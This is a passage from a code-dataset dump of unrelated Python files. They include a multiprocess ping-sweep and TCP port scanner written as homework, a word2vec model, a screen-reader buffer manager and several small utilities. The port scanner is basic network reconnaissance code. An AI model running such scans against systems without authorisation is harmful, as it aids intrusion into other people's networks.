0% packet loss') >= 0:\n result_queue.put(ip_addr)\n logging.info(f'{ip_addr} is pingable!')\n\n p = mp.Process(target=put_queue, args=(q, ip_range))\n p.start()\n\n ping_process = None\n for c in range(max_processes):\n ping_process = mp.Process(target=process_ping, args=(q, ))\n time.sleep(random.randint(1, 2))\n ping_process.start()\n ping_process.join()\n\ndef scan_ports(max_processes, ip_addr, result_queue):\n\n def scan_ports(queue: mp.Queue, ip_addr, step, available_ports):\n logging.debug(f'Process {os.getpid()} started processing...')\n while True:\n if queue.empty():\n logging.debug(f'Queue is empty, process {os.getpid()} is exiting...')\n break\n else:\n start_port = queue.get()\n logging.debug(f'Process {os.getpid()} is processing {start_port} ~ {start_port+step}......')\n for p in range(start_port, start_port+step):\n try:\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n s.connect((ip_addr, p))\n logging.info(f'Port {p} is available')\n available_ports.put(p)\n except Exception:\n logging.debug(f'Port {p} cannot be connected')\n\n\n step = 1000\n q = mp.Queue(700)\n for i in range(1, 65536, step):\n q.put(i)\n \n available_ports = result_queue\n\n scan_process = None\n for _ in range(max_processes):\n scan_process = mp.Process(target=scan_ports, args=(q, ip_addr, step, available_ports))\n time.sleep(random.randint(1, 2))\n scan_process.start()\n \n scan_process.join()\n\n\nif __name__ == '__main__':\n logging.debug('父进程开始')\n parent_start_time = time.time()\n cpu_count = mp.cpu_count()\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument('-n', '--num', type=int, default=cpu_count, help='指定并发数量')\n parser.add_argument('-f', '--fangfa', choices=['ping', 'tcp'], required=True, help='指定进行 ping 测试或进行 tcp 端口扫描')\n parser.add_argument('-ip', '--ipaddr', required=True, help='连续 IP 地址支持 192.168.0.1-192.168.0.100 写法')\n parser.add_argument('-v', '--verbose', action='count', default=0, help='打印程序执行时间')\n parser.add_argument('-w', '--write', default=None, help='扫描结果进行保存')\n args = parser.parse_args()\n\n\n result_queue = mp.Queue(100)\n\n if args.fangfa == 'ping':\n scan_ip_range(args.num, args.ipaddr, result_queue)\n else:\n scan_ports(args.num, args.ipaddr, result_queue)\n \n result_list = []\n \n while True:\n if result_queue.empty():\n break\n else:\n result_list.append(result_queue.get())\n \n if args.write:\n with open(args.write, 'w') as f:\n json.dump(result_list, f)\n logging.info(f'result has been written to {args.write} successfully')\n \n\n logging.debug('父进程结束!')\n parent_end_time = time.time()\n if args.verbose:\n logging.info(f'程序运行时长为{parent_end_time-parent_start_time}秒')","sub_path":"week03/homework1/pmap.py","file_name":"pmap.py","file_ext":"py","file_size_in_byte":4944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"190118394","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /home/sauser/anaconda2/lib/python2.7/site-packages/timeleft/__init__.py\n# Compiled at: 2016-04-23 17:54:21\n__title__ = 'timeleft'\n__version__ = '0.2'\n__author__ = 'Sean Wareham'\n__license__ = 'GPL 3.0'\n__copyright__ = 'Copyright 2016 Sean Wareham'","sub_path":"pycfiles/timeleft-0.2.linux-x86_64.tar/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"242655325","text":"import requests\nfrom S_API import *\n#S_API is another package which contains the following variable 'key'.\n#The variable 'key' stores the API of the user and can't be shared due to security reasons\n\napi_address=\"https://newsapi.org/v2/top-headlines?country=us&apiKey=\"+key\njson_data = requests.get(api_address).json()\n\nar=[]\n\ndef news():\n for i in range(3):\n ar.append(\"Number \"+ str(i+1) + \": \" + json_data[\"articles\"][i][\"title\"]+\".\")\n\n return ar\n\n","sub_path":"News.py","file_name":"News.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"508362819","text":"def totalActiveTime(note):\n count = 1\n curr_time = note[0][\"time\"]\n total_active_time = 0\n\n for line in range(1, len(note)):\n if note[line][\"type\"] == \"d\": # a task ended\n count -= 1\n else: # a new task started\n count += 1\n \n if count == 0: \n # don't increment count in here, the next loop will take care of it\n total_active_time += (note[line][\"time\"] - curr_time)\n\n if line < len(note) - 1:\n curr_time = note[line+1][\"time\"]\n \n return total_active_time\n\nnote = [\n {\"type\": \"p\", \"time\": 1},\n {\"type\": \"p\", \"time\": 2},\n {\"type\": \"p\", \"time\": 3},\n {\"type\": \"d\", \"time\": 4},\n {\"type\": \"d\", \"time\": 5},\n {\"type\": \"d\", \"time\": 5.5},\n {\"type\": \"p\", \"time\": 10},\n {\"type\": \"d\", \"time\": 11}\n]\n\nprint(totalActiveTime(note))","sub_path":"Questions/postmates-delivery-time.py","file_name":"postmates-delivery-time.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"289466659","text":"import numpy as np\nimport tensorflow as tf\n\nfrom core import BatchGenerator\nfrom base_models import StochasticModel\n\n\nclass CBOWBatchGenerator(BatchGenerator):\n def __init__(self, data, batch_size, num_skips, skip_window):\n \"\"\"Arguments:\n `num_skips`: number of words from window to pick\n `skip_window`: number of words to consider left and right.\"\"\"\n super(CBOWBatchGenerator, self).__init__(data, batch_size)\n self.num_skips = num_skips\n self.skip_window = skip_window\n \n def get_batch_from_index(self):\n inputs = []\n labels = []\n # Don't start from the very head to give space for skip window\n if self.data_index == 0:\n self.data_index += self.skip_window\n t = self.data_index\n for _ in range(self.batch_size):\n # sample of words within the skip window (excluding target word)\n ls = self.data[t-self.skip_window:t] + \\\n self.data[t+1:t+1+self.skip_window]\n np.random.shuffle(ls)\n inputs.append(ls[:self.num_skips])\n labels.append([self.data[t]]) \n t += 1\n return inputs, labels\n\n\nclass CBOW(StochasticModel):\n \"\"\"Trains from a sequence of text to map sets of words\n to some word similar in meaning.\n \n Expected structure of `hparams` dictionary:\n \n 'vocab_size': number of words to keep track of\n 'batch_size': pick from 16 to 512 for best results\n 'embedding_size': dimensionality of embedding space\n 'skip_window': number of neighbor words (left and right)\n 'num_skips': number of neighbor words to pick\n 'learning_rate': floating-point number\n 'valid_size': number of items in validation set\n 'valid_window': end index of allowed validation samples\n 'num_sampled': number of noise samples.\"\"\"\n \n def __init__(self, hparams, data, out_path, **kw):\n # Use special batch generator\n batch_gen = CBOWBatchGenerator(data, hparams['batch_size'],\n hparams['num_skips'], hparams['skip_window'])\n self.embedding_matrix = None # used by embedding projector\n super(CBOW, self).__init__(hparams, data, out_path,\n batch_gen=batch_gen, **kw)\n \n def build_graph(self):\n batch_size = self.hparams['batch_size'] # shortcut\n self.inputs = tf.placeholder(tf.int32,\n shape=[batch_size, self.hparams['num_skips']])\n self.labels = tf.placeholder(tf.int32, shape=[batch_size, 1])\n # Neural Network\n embeddings, embedding_matrix, nce_weights, nce_biases = embedding_layer(\n self.inputs, self.hparams['vocab_size'], self.hparams['embedding_size'])\n self.embedding_matrix = embedding_matrix\n # Noise-contrastive estimation loss\n with tf.name_scope('nce_loss'):\n loss = tf.reduce_mean(tf.nn.nce_loss(nce_weights, nce_biases,\n tf.reduce_mean(embeddings, 1), self.labels,\n self.hparams['num_sampled'], self.hparams['vocab_size']))\n tf.summary.scalar('loss', loss)\n self.optimizer = tf.train.GradientDescentOptimizer(\n self.hparams['learning_rate']).minimize(loss)\n # The length of the vectors are not relevant to classification\n with tf.name_scope('normalized_embeddings'):\n norm = tf.sqrt(tf.reduce_sum(tf.square(embedding_matrix), 1,\n keep_dims=True))\n self.normalized_embeddings = embedding_matrix / norm\n super(CBOW, self).build_graph()\n","sub_path":"core/models/cbow.py","file_name":"cbow.py","file_ext":"py","file_size_in_byte":3281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"200332862","text":"# -*- coding: utf-8 -*-\r\n\r\nfrom logger import logger\r\nlogging = logger.getChild('core.sessions.buffers.main')\r\n\r\nfrom copy import deepcopy\r\nfrom pydispatch import dispatcher\r\n\r\nimport core\r\nimport output\r\nimport signals\r\nfrom core.sessions.buffers.buffer_defaults import buffer_defaults\r\n\r\nfrom core.sessions.sound.sound import Sound\r\nfrom core.sessions.undo import Undo\r\nimport sessions\r\n\r\nclass Buffers (Sound, Undo):\r\n\r\n def __init__ (self, *args, **kwargs):\r\n self.buffers = []\r\n self.nav_buffers = []\r\n super(Buffers, self).__init__(*args, **kwargs)\r\n if 'buffers' not in self.config.keys():\r\n self.config['buffers'] = {}\r\n self.buffer_metadata = self.config['buffers']\r\n if 'init_order' not in self.buffer_metadata:\r\n self.buffer_metadata['init_order'] = []\r\n self.init_order = self.buffer_metadata['init_order']\r\n if 'nav_order' not in self.buffer_metadata:\r\n self.buffer_metadata['nav_order'] = []\r\n self.nav_order = self.buffer_metadata['nav_order']\r\n self.save_config()\r\n \r\n def remove_buffer_ordering(self, location=None, buf_index=None):\r\n if location in self.init_order:\r\n self.init_order.remove(location)\r\n if buf_index is not None:\r\n if buf_index in self.nav_order:\r\n self.nav_order.remove(buf_index)\r\n for i in range(len(self.nav_order)):\r\n if self.nav_order[i] > buf_index:\r\n self.nav_order[i] -= 1\r\n self.update_navigation_buffers()\r\n\r\n def add_buffer (self, buffer):\r\n #Adds the provided buffer to this session.\r\n logging.debug(\"Adding buffer %s to session %s\" % (buffer, self))\r\n self.buffers.append(buffer)\r\n if hasattr(buffer, 'location') and buffer.location in self.buffer_metadata and buffer.location not in self.init_order:\r\n self.init_order.append(buffer.location)\r\n buf_index = len(self.buffers) - 1\r\n if buf_index not in self.nav_order:\r\n self.nav_order.append(buf_index)\r\n self.update_navigation_buffers()\r\n if 'replaces_spec' in buffer.buffer_metadata:\r\n replaced = self.find_buffer_from_spec(buffer.buffer_metadata['replaces_spec'])\r\n self.swap_buffers(replaced, buffer)\r\n self.replace_buffer(replaced, buffer)\r\n self.save_config()\r\n return buf_index\r\n\r\n def remove_buffer(self, buffer, announce=True):\r\n \"\"\"Removes the provided buffer from this session\"\"\"\r\n logging.debug(\"Removing buffer %s from session %s\" % (buffer.name, self.name))\r\n if buffer.replaces is not None:\r\n self.replace_buffer(None, buffer)\r\n key = None\r\n if hasattr(buffer, 'location'):\r\n key = buffer.location\r\n buf_index = self.get_buffer_index(buffer)\r\n buffer.shutdown()\r\n self.buffers.remove(buffer)\r\n self.remove_buffer_ordering(location=key, buf_index=buf_index)\r\n prev_buffer = None\r\n while prev_buffer is None:\r\n try:\r\n (prev_buffer_name, i, j) = self.pop()\r\n except:\r\n if hasattr(self, '_default_buffer'):\r\n prev_buffer_name = self._default_buffer.name\r\n elif len(self.nav_buffers):\r\n prev_buffer_name = self.nav_buffers[-1].name\r\n else:\r\n break\r\n if prev_buffer_name == buffer.name:\r\n continue\r\n prev_buffer = self.get_buffer_by_name(prev_buffer_name)\r\n if prev_buffer not in self.nav_buffers:\r\n prev_buffer = None\r\n if self.nav_buffers:\r\n self.set_buffer(self.get_navigation_index(prev_buffer), False)\r\n if announce:\r\n self.announce_buffer()\r\n else:\r\n self.current_buffer = None\r\n output.speak(_(\"No buffers remaining.\"), True)\r\n self.save_config()\r\n\r\n def update_navigation_buffers(self):\r\n self.nav_buffers = []\r\n for i in self.nav_order:\r\n if i < len(self.buffers):\r\n self.nav_buffers.append(self.buffers[i])\r\n else:\r\n self.nav_buffers.append(None)\r\n \r\n def register_buffer (self, name, type, set_focus=True, announce=True, prelaunch_message=\"\", postlaunch_message=\"\", prevent_duplicates=True, *args, **kwargs):\r\n \"\"\"Registers buffer in session buffer list.\"\"\"\r\n logging.debug(\"%s: Registering %s\" % (self, name))\r\n if self.get_buffer_by_name(name) != None and prevent_duplicates:\r\n logging.debug(\"Buffer %s already exists.\" % name)\r\n num = self.get_buffer_index(self.get_buffer_by_name(name))\r\n if set_focus:\r\n self.set_buffer(self.get_navigation_index(buf_index=num))\r\n if announce:\r\n self.announce_buffer(interrupt=False)\r\n return num\r\n prelaunch_message and output.speak(prelaunch_message, True)\r\n try:\r\n new = type(name=name, session=self, *args, **kwargs)\r\n except:\r\n logging.exception(\"Unable to initialize an instance of buffer.%s \" % type)\r\n return None\r\n if self.buffer_exists(new):\r\n logging.warning(\"%s: Prevented duplicate buffer registration of buffer %s.\" % (self.name, name))\r\n return None\r\n if new is None: #Something strange is going on.\r\n logging.debug(\"Attempted new buffer creation but got back a None object. Aborting.\")\r\n return None\r\n dispatcher.send(sender=self, signal=signals.buffer_created, buffer=new)\r\n num = self.add_buffer(new)\r\n if set_focus and num in self.nav_order:\r\n self.set_buffer(self.get_navigation_index(buf_index=num))\r\n postlaunch_message and output.speak(postlaunch_message, True)\r\n if announce:\r\n self.announce_buffer(interrupt=False)\r\n return num\r\n\r\n def buffer_exists(self, buffer):\r\n #Returns True/False if buffer is currently registered in this session's buffers list.\"\"\"\r\n return buffer in self.buffers\r\n \r\n def normalize_nav_index(self, nav_index):\r\n if len(self.nav_order) == 0:\r\n nav_index = -1\r\n else:\r\n if nav_index < 0:\r\n nav_index = len(self.nav_order)-1\r\n elif nav_index >= len(self.nav_order):\r\n nav_index = 0\r\n return nav_index\r\n \r\n def set_buffer (self, nav_index, undoable=True):\r\n if len(self.nav_order) < 2: #We wouldn't be able to undo this action anyway.\r\n undoable = False\r\n nav_index = self.normalize_nav_index(nav_index)\r\n if undoable and nav_index != self.get_navigation_index():\r\n self.push((self.current_buffer.name, self.current_buffer.index, -1))\r\n if nav_index < 0:\r\n del self.buffer_metadata['current']\r\n else:\r\n self.buffer_metadata['current'] = nav_index\r\n self.save_config()\r\n dispatcher.send(sender=self, signal=signals.change_current_buffer, buffer = self.current_buffer)\r\n return nav_index\r\n\r\n def set_buffer_and_index(self, nav_index, index, undoable=True, announce=True):\r\n if len(self.nav_order) < 2: #We wouldn't be able to undo this action anyway.\r\n undoable = False\r\n nav_index = self.normalize_nav_index(nav_index)\r\n if undoable and (nav_index != self.get_navigation_index() or index != self.current_buffer.index):\r\n self.push((self.current_buffer.name, self.current_buffer.index, self.buffers[self.get_buffer_index(nav_index=nav_index)].index))\r\n self.set_buffer(nav_index, False)\r\n if self.current_buffer is not None:\r\n self.current_buffer.set_index(index,False)\r\n if announce:\r\n self.current_buffer.speak_item(honor_mute=False)\r\n self.announce_buffer(interrupt=False)\r\n return nav_index\r\n\r\n def get_buffer_by_name(self, name):\r\n for item in self.buffers:\r\n if item.name.lower() == name.lower():\r\n return item\r\n\r\n @buffer_defaults\r\n def get_buffer_index(self, buffer=None, nav_index=None):\r\n if nav_index is None:\r\n return self.buffers.index(buffer)\r\n else:\r\n return self.nav_order[nav_index]\r\n\r\n @buffer_defaults\r\n def get_navigation_index(self, buffer=None, buf_index=None):\r\n if buf_index is None:\r\n buf_index = self.get_buffer_index(buffer)\r\n return self.nav_order.index(buf_index)\r\n \r\n def shutdown(self, *args, **kwargs):\r\n logging.debug(\"Shutting down all buffers in session %s\" % self.name)\r\n for buffer in self.buffers:\r\n buffer.shutdown(end=True)\r\n dispatcher.send(sender=self, signal=signals.buffer_destroyed, buffer=buffer)\r\n super(Buffers, self).shutdown(*args, **kwargs)\r\n\r\n def get_current_buffer(self):\r\n if len(self.nav_order) == 0:\r\n return None\r\n nav_index = self.buffer_metadata.get('current', -1)\r\n if nav_index < 0 or nav_index >= len(self.nav_order):\r\n nav_index = self.normalize_nav_index(nav_index)\r\n self.set_buffer(nav_index, False)\r\n return self.nav_buffers[nav_index]\r\n\r\n def set_current_buffer(self, buffer):\r\n if buffer is not None:\r\n nav_index = self.get_navigation_index(buffer)\r\n else:\r\n nav_index = -1\r\n self.set_buffer(nav_index, False)\r\n\r\n current_buffer = property(fget = get_current_buffer, fset = set_current_buffer)\r\n\r\n def activate(self, *args, **kwargs):\r\n if self.buffers:\r\n try:\r\n self.announce_buffer(interrupt=False)\r\n except:\r\n pass\r\n super(Buffers, self).activate(*args, **kwargs)\r\n\r\n def finish_initialization (self, *args, **kwargs):\r\n try:\r\n logging.debug(\"%s: Buffers post initialization: registering stored buffers.\" % self.name)\r\n self.register_stored_buffers()\r\n logging.debug(\"%s: Buffers post initialization: registering default buffers.\" % self.name)\r\n self.register_default_buffers()\r\n logging.debug(\"%s: Removing rogue navigation indexes.\" % self.name)\r\n rogue_indexes = [i for i in self.nav_order if i >= len(self.buffers)]\r\n for i in rogue_indexes:\r\n self.nav_order.remove(i)\r\n self.update_navigation_buffers()\r\n if 'current' not in self.buffer_metadata and len(self.nav_buffers) > 0:\r\n self.set_buffer(0, False)\r\n if sessions.current_session == self:\r\n self.announce_buffer()\r\n except:\r\n logging.exception(\"%s: Unable to register buffers.\" % self.name)\r\n super(Buffers, self).finish_initialization(*args, **kwargs)\r\n\r\n def register_default_buffers(self):\r\n pass\r\n \r\n def register_stored_buffers(self):\r\n import session\r\n buffers = []\r\n for buf in self.init_order:\r\n buffers.append(buf)\r\n for buf in self.buffer_metadata.keys():\r\n if buf not in buffers and hasattr(self.buffer_metadata[buf], 'has_key') and self.buffer_metadata[buf].has_key('visible') and self.buffer_metadata[buf]['visible']:\r\n buffers.append(buf)\r\n for buf_key in buffers:\r\n try:\r\n buf = self.buffer_metadata[buf_key]\r\n type = getattr(eval(buf['class_module']), buf['class_name'])\r\n args = list(buf['args'])\r\n kwargs = deepcopy(buf['kwargs'])\r\n name = kwargs['name']\r\n del kwargs['name']\r\n if self.register_buffer(name, type, False, announce=False, *args, **kwargs) is None:\r\n self.remove_buffer_ordering(location=buf_key, buf_index=len(self.buffers))\r\n except:\r\n self.remove_buffer_ordering(location=buf_key, buf_index=len(self.buffers))\r\n logging.exception(\"Unable to register buffer\")\r\n\r\n def move_buffer (self, buffer, step):\r\n nav_index = self.get_navigation_index(buffer)\r\n buf_index = self.get_buffer_index(nav_index=nav_index)\r\n new = nav_index + step\r\n if new >= len(self.nav_order):\r\n new += 1\r\n new %= len(self.nav_order)\r\n elif new < 0:\r\n new -= 1\r\n new = len(self.nav_order) - (abs(new) % len(self.nav_order))\r\n self.nav_order.remove(buf_index)\r\n self.nav_order.insert(new, buf_index)\r\n self.update_navigation_buffers()\r\n self.set_buffer(new, False)\r\n self.save_config()\r\n\r\n def replace_buffer(self, buffer, replacement, set_focus=True, announce=True):\r\n if self.current_buffer is replacement:\r\n #Follow the replacement if it's the current buffer.\r\n set_focus = True\r\n if buffer is None:\r\n replaced = replacement.replaces\r\n self.nav_order.insert(self.get_navigation_index(replacement), self.get_buffer_index(replaced))\r\n replacement.replaces = None\r\n del replacement.buffer_metadata['replaces_spec']\r\n else:\r\n replacement.replaces = buffer\r\n replacement.buffer_metadata['replaces_spec'] = self.buffer_spec(buffer)\r\n del self.nav_order[self.get_navigation_index(replacement)]\r\n self.nav_order[self.get_navigation_index(buffer)] = self.get_buffer_index(replacement)\r\n self.save_config()\r\n self.update_navigation_buffers()\r\n if set_focus:\r\n self.set_buffer(self.get_navigation_index(replacement), False)\r\n if announce:\r\n self.announce_buffer(interrupt=False)\r\n\r\n @buffer_defaults\r\n def announce_buffer(self, buffer=None, interrupt=True):\r\n if buffer == None:\r\n answer = _(\"No current buffer.\")\r\n else:\r\n answer = _(buffer.display_name)\r\n if not buffer:\r\n answer = _(\"%s: Empty.\") % answer\r\n else:\r\n answer = _(\"%s: %d of %d items.\") % (answer, len(buffer)-buffer.index, len(buffer))\r\n output.speak(answer, interrupt)\r\n\r\n def buffer_spec(self, buffer):\r\n return (buffer.__class__.__name__, buffer.name)\r\n\r\n def find_buffer_from_spec(self, spec):\r\n cls, name = spec\r\n for i in self.buffers:\r\n if i.__class__.__name__ == cls and i.name == name:\r\n return i\r\n\r\n def swap_buffers(self, buffer1, buffer2):\r\n nav_index1 = self.get_navigation_index(buffer1)\r\n nav_index2 = self.get_navigation_index(buffer2)\r\n self.nav_order[nav_index1], self.nav_order[nav_index2] = self.nav_order[nav_index2], self.nav_order[nav_index1]\r\n self.update_navigation_buffers()\r\n self.save_config()\r\n\r\n def navigate_to_item_matching(self, search_key, search):\r\n #Always check the current buffer first.\r\n buffers = list(self.nav_buffers)\r\n buffers.remove(self.current_buffer)\r\n buffers.insert(0, self.current_buffer)\r\n for i in buffers:\r\n try:\r\n index = i.get_index_matching(search_key, search)\r\n return self.set_buffer_and_index(self.get_navigation_index(i), index)\r\n except Exception as e:\r\n if not isinstance(e, (ValueError, KeyError)):\r\n raise\r\n continue\r\n self.play(self.config['sounds']['boundary'])\r\n self.current_buffer.speak_item()\r\n","sub_path":"src/core/sessions/buffers/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":13239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"15409123","text":"#!/usr/bin/env python3\nimport os\nimport sys\nimport urllib.request\nfrom util.github import github_repo_url\nfrom util.repos import load_repos\n\n\ndef check_repo(owner, repo):\n try:\n with urllib.request.urlopen(github_repo_url(owner, repo)) as response:\n if response.status != 200:\n print(f'❌ failed: {owner}/{repo}')\n return False\n else:\n print(f'✅ passed: {owner}/{repo}')\n return True\n except:\n print(f'❌ failed: {owner}/{repo}')\n return False\n\n\ndef check_repos(repos):\n errors = 0\n checked = 0\n for repo in repos:\n checked += 1\n if not check_repo(repo['owner'], repo['slug']):\n errors += 1\n\n return checked, errors\n\n\ndef main():\n if len(sys.argv) < 2 or not os.path.isdir(sys.argv[1]):\n print('Invalid argument')\n exit(1)\n\n event = sys.argv[1]\n repos = load_repos(event)\n checked, errors = check_repos(repos)\n\n print(f'{checked} checked, {errors} failed')\n if errors > 0:\n exit(1)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"scripts/validate_repos.py","file_name":"validate_repos.py","file_ext":"py","file_size_in_byte":1111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"427781938","text":"# Licensed under a 3-clause BSD style license - see LICENSE.rst\n\"\"\"Plot significicance image with HESS- and MILAGRO-colormap.\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom gammapy.datasets import load_poisson_stats_image\nfrom gammapy.image import disk_correlate\nfrom gammapy.stats import significance\nfrom gammapy.image import colormap_hess, colormap_milagro\n\n# Compute an example significance image\ncounts = load_poisson_stats_image()\ncounts = disk_correlate(counts, radius=5, mode='reflect')\nbackground = np.median(counts) * np.ones_like(counts)\nimage = significance(counts, background)\n\n# Plot with the HESS and Milagro colormap\nvmin, vmax, vtransition = -5, 15, 5\nplt.figure(figsize=(8, 4))\n\nplt.subplot(121)\ncmap = colormap_hess(vtransition=vtransition, vmin=vmin, vmax=vmax)\nplt.imshow(image, cmap=cmap, vmin=vmin, vmax=vmax)\nplt.axis('off')\nplt.colorbar()\nplt.title('HESS-style colormap')\n\nplt.subplot(122)\ncmap = colormap_milagro(vtransition=vtransition, vmin=vmin, vmax=vmax)\nplt.imshow(image, cmap=cmap, vmin=vmin, vmax=vmax)\nplt.axis('off')\nplt.colorbar()\nplt.title('MILAGRO-style colormap')\n\nplt.show()\n","sub_path":"html/v0.1/image/colormap_example.py","file_name":"colormap_example.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"191558159","text":"import functools\nimport queue\nimport random\nimport time\nfrom concurrent.futures import ThreadPoolExecutor\nfrom itertools import repeat\n\nfrom log import logger\n\nshut_down_pool_queue = queue.Queue()\n\n\n# sys_thread_pool = ThreadPoolExecutor(max_workers=2)\n\n\ndef shutdown_listener():\n for _ in repeat(None):\n t_pool = shut_down_pool_queue.get()\n t_pool.shutdown()\n logger.info(\"shutdown\")\n\n\n# sys_thread_pool.submit(shutdown_listener)\n\n# 根据一系列逻辑,估算出来的整个流程,任务不等待,情况下的合理线程数\nno_task_wait_size_assessed = 35\nconcurrent_pool_assessed = ThreadPoolExecutor(max_workers=no_task_wait_size_assessed)\n\n\ndef do_nothing():\n # 休息5s。保证能创建新的线程,而不是复用线程\n time.sleep(5)\n return\n\n\ndef pre_concurrent_pool():\n # 预热线程池里的线程\n t = time.perf_counter()\n for i in range(no_task_wait_size_assessed):\n concurrent_pool_assessed.submit(do_nothing)\n time.sleep(5) #便于使用过期时间进行调试\n logger.info(\"预热线程池,耗时%s\", time.perf_counter() - t)\n\n\ndef threads(concurrent_size=1, try_times=1, try_internal=0.05):\n \"\"\"\n 并发工具。\n :param concurrent_size: 每次重试的并发数\n :param try_times: 重试次数\n :param try_internal: 重试间隔\n :return: 多线程,多次重试。的所有任务中,哪个最快获得结果,就将哪个返回。如果都没有获得,就返回None\n \"\"\"\n\n def decorate(func):\n @functools.wraps(func)\n def wrapper(*args, **kw):\n re = Job(concurrent_size, try_times, try_internal).run(func, *args, **kw)\n logger.info(\"threads tool return %s\", re)\n return re\n\n return wrapper\n\n return decorate\n\n\nclass Job(object):\n \"\"\"\n 并发处理工具。\n 可以在一个周期并发相应的请求。并且,上个周期的任务不会影响下个周期的延迟。\n 具体来讲:周期1执行时间t1,周期2执行时间为 t2= t1 + try_internal\n 解决的问题:\n 传统的for循环,周期1执行时间t1,周期2执行时间为 t2= t1+任务耗时+try_internal。\n (可见传统方式的毛病,并不能带来真正的并发。只是单线程重试,并且重试的间隔受到上个周期任务执行时间的影响,严格讲,这种重试的间隔参数毫无意义,尤其是在io操作的时候)\n \"\"\"\n\n def __init__(self, concurrent_size=1, try_times=1, try_internal=0.05):\n self.concurrent_size = concurrent_size\n self.try_times = try_times\n self.try_internal = try_internal\n self.futures = []\n # 整个流程共享这一个线程池\n self.thread_pool = concurrent_pool_assessed\n self.loop = True\n\n def run(self, fn, *args, **kwargs):\n # 开启异步线程去做这个\n self.thread_pool.submit(self._loop, fn, *args, **kwargs)\n logger.info(\"同步等待结果……\")\n # 同步获取返回结果\n try_return_count = 0\n for _ in repeat(None):\n futures = self.futures\n for future in futures:\n if future.done():\n re = future.result()\n if re:\n self.loop = False\n # !!!!!! 确的修饰的方法,必须有明返回值。None或者其他。不然会一直搞\n shut_down_pool_queue.put(self.thread_pool)\n return re\n else:\n try_return_count += 1\n futures.remove(future)\n if try_return_count >= self.try_times * self.concurrent_size:\n return None\n\n def _loop(self, fn, *args, **kwargs):\n for try_count in range(self.try_times):\n for i in range(self.concurrent_size):\n self.futures.append(self.thread_pool.submit(fn, *args, **kwargs))\n logger.info(\"启动线程\")\n if not self.loop:\n # loop会一直执行,直到结果获得,或者循环结束,即self.try_times*self.concurrent_size\n logger.debug(\"获取到结果,结束\")\n return\n if not self.loop:\n logger.debug(\"获取到结果,结束\")\n # loop会一直执行,直到结果获得,或者循环结束,即self.try_times*self.concurrent_size\n return\n time.sleep(self.try_internal)\n\n\n@threads(concurrent_size=3, try_times=100, try_internal=0.1)\ndef test_g():\n t = random.choice([0.1, 0.2, 0.3, 0.4, 0.5, 1])\n logger.info(\"run%s\", t)\n time.sleep(t)\n return \"java{}\".format(t)\n\n\nif __name__ == '__main__':\n pre_concurrent_pool()\n logger.info(\"拿到结果%s\", test_g())\n","sub_path":"muti_thread.py","file_name":"muti_thread.py","file_ext":"py","file_size_in_byte":4843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"4037459","text":"from cloudrail.knowledge.context.gcp.gcp_environment_context import GcpEnvironmentContext\n\nfrom tests.knowledge.context.gcp_context_test import GcpContextTest\nfrom tests.knowledge.context.test_context_annotation import context\n\n\nclass TestComputeNetwork(GcpContextTest):\n def get_component(self):\n return 'compute_network'\n\n @context(module_path=\"basic\")\n def test_basic(self, ctx: GcpEnvironmentContext):\n compute = next((compute for compute in ctx.compute_networks if compute.name == 'new-network'), None)\n self.assertIsNotNone(compute)\n self.assertTrue(compute.auto_create_subnetworks)\n self.assertEqual(compute.routing_mode.value, 'GLOBAL')\n\n @context(module_path=\"subnetworks\")\n def test_subnetworks(self, ctx: GcpEnvironmentContext):\n compute = next((compute for compute in ctx.compute_networks if compute.name == 'vpc-network-3'), None)\n self.assertIsNotNone(compute)\n self.assertEqual(len(compute.subnetworks), 2)\n","sub_path":"tests/knowledge/context/gcp/test_compute_network.py","file_name":"test_compute_network.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"27534862","text":"#rename all contigs to make BRAKER happy\r\n\r\n#imports\r\nimport os \r\nimport csv\r\n\r\n#directory \r\nin_dir = 'C:/Users/egann/Desktop/Aureococcus_strains/Final_assemblies/Genomes'\r\n\r\n#get the files in the directory \r\nin_files = os.listdir(in_dir)\r\n\r\n#for each file, open, rename the strain, and write to an out file \r\nfor file in in_files:\r\n\tstrain = file.split('_')[0]\r\n\tout_file = strain + '_assembly.fasta'\r\n\t#contig counter \r\n\t\r\n\tin_dict = dict()\r\n\tkey = \"\"\r\n\twith open(os.path.join(in_dir,file),'r') as f: \r\n\t\tfor line in f: \r\n\t\t\tif line.startswith('>'):\r\n\t\t\t\tkey = line.strip()\r\n\t\t\t\tin_dict[key] = \"\"\r\n\t\t\telse:\r\n\t\t\t\tin_dict[key] += line.strip()\r\n\r\n\tlengths_of_contigs = []\r\n\r\n\tfor key in in_dict:\r\n\t\tlengths_of_contigs.append([key,len(in_dict[key])])\r\n\r\n\tlengths_of_contigs.sort(key=lambda x:int(x[1]), reverse=True)\r\n\r\n\tconversion = []\r\n\r\n\tcount = 0\r\n\r\n\tfor data in lengths_of_contigs:\r\n\t\tcount = count + 1\r\n\t\tnew_name = '>' + strain + '_' + str(count)\r\n\t\tconversion.append([data[0],new_name])\r\n\r\n\tout_file = strain + 